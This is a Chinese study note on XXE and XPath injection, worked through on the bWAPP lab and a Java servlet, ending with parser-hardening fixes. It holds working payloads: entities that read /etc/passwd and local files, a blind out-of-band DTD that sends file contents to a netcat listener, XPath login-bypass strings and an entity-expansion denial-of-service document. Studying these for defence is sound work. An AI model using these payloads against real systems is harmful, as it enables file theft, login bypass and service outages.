XXE外部实体注入(XML External Entity Injection)学习笔记

少年击剑更吹箫,剑气箫心一例消。这篇文章主要讲述XXE外部实体注入(XML External Entity Injection)学习笔记相关的知识,希望能为你提供帮助。
        说明:这篇笔记记录了我学习XXE外部实体注入相关的知识,包括基础知识以及后面的实例,里面还掺杂了最早学习xml注入的一些笔记,可能显得有些乱。最早学习的时候是基于php语言写的BWAPP靶机做的实验学习,最近又在学习java代码审计,因此对当时的笔记进行了补充。部分笔记都来源于网络,另外结合自己的理解对java测试代码进行了补充修改,通过对代码的修复加深对XXE攻击的理解。另外强调一下,本文记录仅用于学习,提高应用程序安全性,请勿恶意使用!有不正确的地方也请大家指出修正。一、基础知识
XML /DTD的知识参见:??http://www.runoob.com/dtd/dtd-intro.html??
需要注意几个概念:
XML:可扩展标记语言,用于数据存储和传输,而html用于数据展现
DTD:文档类型定义,描述了文档的结构及其字段含义,DTD可以在XML文档内部声明,也可以在外部引用。下面是一个比较典型的示例:
< ?xml version=”1.0” ?>
< !DOCTYPE note [
< !ELEMENT note
(to,from,heading,body)>
< !ELEMENT to (#PCDATA)>
< !ELEMENT from (#PCDATA)>
< !ELEMENT heading (#PCDATA)>
< !ELEMENT body (#PCDATA)>
]>
< note>
< to> George< /to>
< from> John< /from>
< heading> Reminder< /heading>
< body> Don’t forget the
meeting!< /body>
< /note>

PCDATA:Parsed Character Data,意为被解析的字符数据。
CDATA:Character Data ,意为字符数据,解析器不进行解析的文本。当文本中包含”< ”和”& ”时,在XML中是非法的,会产生错误,因此可以使用CDATA进行修饰,格式如下:
< ![CDATA[
                                被解析器忽略的字符
]]>
DTD实体:用于定义引用普通文本或者特殊字符的快捷方式的一个变量,可以在内部声明,也可以外部引用。
XML参数实体:普通实体引用以& 开头,以; 结尾;参数实体定义的时候以%表示,引用也以%开头,以; 结尾。参数实体只能在DTD中定义及引用,而普通实体在XML文档中使用。如下面这一段:
< ?xml version="1.0"
encoding="UTF-8" ?>
< !DOCTYPE a[
< !ENTITY % dtd SYSTEM
"http://127.0.0.1:8888/evil.dtd">
%dtd;
]>
< user> < username> & bbbb; < /username> < password> admin< /password> < /user>
evil.dtd文件内容:
< !ENTITY % aaaa SYSTEM
"file:///e:/test.txt">
< !ENTITY % demo "< !ENTITY bbbb
SYSTEM http://127.0.0.1:9999/xxe?file=%aaaa; > ">
%demo;
当用户输入的数据以xml的格式发送给服务器处理,而用户可以控制输入的数据,并且允许引用外部实体时,就有可能产生XXE注入漏洞。


二、PHP代码测试实例
(一)使用bwapp靶机进行测试
基于PHP的靶机比较多,比如DVWA、Bwapp等,网上要以自行下载。
当允许引用外部实体时,通过构造恶意内容可导致读取任意文件,下面是正常访问的截包:
获取报文后,插入恶意的内容:
< ?xml version=”1.0”
encoding=”UTF-8”?>
< !DOCTYPE a[
< !ENTITY b SYSTEM
“file:///etc/passwd”>
]>
将实体b带入到用户输入中,修改后的截包:

备注:上面的实验没有成功,始终报错。
修改后不报错,但是没有达到效果:看到返回bee’s secret has been reset就可以了,可以通过查看数据库,secret是否有被修改。
下面的方法也可以:

关键代码:$login 必须存在,上面是通过& b; 去调用实体。
(二)XML/XPATH 注入漏洞,表单登录
判断漏洞类型:登录界面和采用数据库一样,只是查询数据的时候不是从数据库中查询,而是从XML文档中去查询。
根据报错信息判断为XML。


万能密码:
admin or 1=1

未知用户名:
用户名:x or 1 or 1
密码:随意



闭合XML标签:
用户名:] | //*|//*[
密码:随意,可以不填

在密码处绕过登录:
密码:1 or 1=1 
(三)XML/XPATH 注入:search
genre=horror)]|//*|//*[(
通过尝试各种方式都不成功,查看源代码,这里使用了contains函数,该函数在中括号中调用:
$result =
$xml-> xpath("//hero[contains(genre, $genre)]/movie");
需要去闭合圆括号以及中括号。
genre=horror)]|//*|//*[(
或者:genre=)]|//*|//*[(
三、Java代码测试实例              这是由Jsp和Servlet构成的测试代码,代码根据B站老师讲解的内容??https://www.bilibili.com/video/BV1av411H7K4??调试而来。
              前端页面为loginxml.jsp,获取用户输入的用户名密码,然后组合成为xml格式的文本,并且传输给LoginServletXml.java进行处理,该段代码使用@WebServlet(“doLoginServlet”进行注解。当用户输入用户名为admin,密码为admin时,后台返回code为1,msg为用户名,如下:
(一)    普通注入方式
我在E盘放了一个测试文件test.txt,内容为“this is a test,现在插入恶意数据读取该内容:
< ?xml version="1.0"
encoding="UTF-8" ?>
< !DOCTYPE a[
< !ENTITY b SYSTEM
"file:///e:/test.txt">
]>
< user> < username> & b; < /username> < password> admin< /password> < /user>
修复方式:

dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD,"");

dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA,"");

修复后再次访问,可以看到未反回需要的信息,而是返回了预置的错误信息:
(二)使用CDATA处理数据
当被读取的文件存在特殊符号时,如把文件修改为:
this is a test
< javascript >
< ?php $_POST["cmd"]>
?
> ]
再次访问时服务器报错,如下:
[Fatal Error] test.txt:5:3: XML 文档结构必须从头至尾包含在同一个实体内。
org.xml.sax.SAXParseException; systemId:
file:///e:/test.txt; lineNumber: 5; columnNumber: 3; XML 文档结构必须从头至尾包含在同一个实体内。
解决办法:
< ?xml version="1.0"
encoding="UTF-8" ?>
< !DOCTYPE a[
< !ENTITY % a1
"< ![CDATA[">
< !ENTITY % b SYSTEM
"file:///e:/test.txt">
< !ENTITY % a2 "]]> ">
< !ENTITY % dtd SYSTEM
"http://127.0.0.1:8888/evil.dtd">
%dtd;
]>
< user> < username> & all; < /username> < password> admin< /password> < /user>
准备一个可以通过http访问到的evil.dtd文件,该文件中的内容:
< ?xml version="1.0"
encoding="UTF-8" ?>
< !ENTITY all "%a1; %b; %a2; ">
在本地启动一个httpserver,
再次访问,可以看到数据被成功读出:

(三)    XXE外带数据POC
当用户输入数据程序不进行回显时,可以尝试构造恶意代码,如下是将参数实体的返回作为HTTP请求的参数发送到HTTP服务器,然后在HTTP服务器接收请求并且显示请求的内容。
< ?xml version="1.0"
encoding="UTF-8" ?>
< !DOCTYPE a[
< !ENTITY % dtd SYSTEM
"http://127.0.0.1:8888/evil.dtd">
%dtd;
]>
< user> < username> & bbbb; < /username> < password> admin< /password> < /user>
evil.dtd文件内容:
< !ENTITY % aaaa SYSTEM
"file:///e:/test.txt">
< !ENTITY % demo "< !ENTITY bbbb
SYSTEM http://127.0.0.1:9999/xxe?file=%aaaa; > ">
%demo;
将该evil.dtd文件放在http服务器中,确保目标服务器可以访问到该文件,这里我是在本地开启了HTTP服务器,监听在8888端口,使用http://127.0.0.1:8888/evil.dtd去访问即可。另外再开启一台服务器监听目标服务器发出来的请求,我这里仍然使用的是本地电脑,使用nc监听9999端口,nc -lvp 9999,然后使用burp发送报文:
监听服务器:
四、防御方法

Java修复方法补充:             
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
//              修复方法一:
              dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD,"");
              dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA,"");
//              修复方法二://              dbf.setExpandEntityReferences(false);
//              try
//                      dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true);
//              catch (ParserConfigurationException e)
//                      e.printStackTrace();
//             
五、XML 攻击模式
1. XML 文档结构内容注入攻击
前提:
了解XML文档结构,确认可控参数,根据XML语法 规则构造出攻击 PAYLOAD
攻击危害:
攻击者可以通过注入标签等改写目标XML文档的结构和内容,通过XML解析器解析被注入的标签,引起注入造成越权添加数据及登录绕过等危害。
方法:
对可控参数输入想要篡改的元素标签和值,查看存储的数据是否被篡改,如果有多个可控参数,尝试在第一个参数输入注释开始符< !--,另外一个参数中插入结束--> ,查看注释处理是否生效。
原始传输的XML内容:
< reset>
  < login> bee< /login>
  < secret> sbee2< /secret>
< /reset>
插入POC:
bee< /login> < secret> bee1< /scret> < login> bee2> < /login>
插入后:
< reset>
  < login> bee< /login>
< secret> bee1< /scret>
< login> bee2> < /login>
  < secret> sbee2< /secret>
< /reset>
2. SOAP内容注入攻击
前提:
了解XML文档结构,还需要知道SOAP的消息数据格式,确认可控参数,构造出攻击PAYLOAD。SOAP发现相对比较困难。
危害:
通过注入标签等改写目标XML文档的结构和内容,通过XML解析器解析被注入的标签,造成越权添加数据及登录等。
方法:
尝试恶意的XML闭合标签,若出错,尝试提交一对有效的起始标签,如果未出错,则可能存在注入攻击。
多个参数可以尝试输入注解。
3. XEE注入攻击
XML实体扩展注入,借助命名实体进行攻击。
危害:主要是造成DOS攻击
实施攻击的方法:
通过构造恶意递归的XML实体文档,在XML解析器解析时导致服务器可用的资源耗尽
简单示例& 结果:
< !DOCTYPE
data [
< !ENTITY a0 “dos”>
< !ENTITY a1 “& a0; & a0; & a0; & a0; & a0; & a0; & a0; & a0; & a0; & a0; ”>
< !ENTITY a2 “& a1; & a1; & a1; & a1; & a1; & a1; & a1; & a1; & a1; & a1; ”>
< !ENTITY a3 “& a2; & a2; & a2; & a2; & a2; & a2; & a2; & a2; & a2; & a2; ”>
< !ENTITY a4 “& a3; & a3; & a3; & a3; & a3; & a3; & a3; & a3; & a3; & a3; ”>
]>
< data> & a4; < /data>
结果:一般造成后台CPU占用率超过100%,服务器死机重启等现象。
4. XXE注入攻击
XML外部实体注入攻击,主要是借助外部实体进行注入攻击
危害:从应用程序能够访问的任何WEB服务器上检索敏感内容,读取服务器上的资源内容。如读取服务器文件内容,远程命令执行RCE,后端端口扫描,加载一个大文件进行DOS攻击。
5. BlindXXE注入攻击
高级的XXE攻击,XML外部参数实体注入攻击,主要是借助参数实体进行注入攻击,一般XXE攻击,主要发生在外部实体引用时借助回显来读取文件内容,但是当不能回显时,就要借助于带外数据通道OOB来实现回显绕过基本的XXE攻击限制,这就是Blind XXE










【XXE外部实体注入(XML External Entity Injection)学习笔记】


    推荐阅读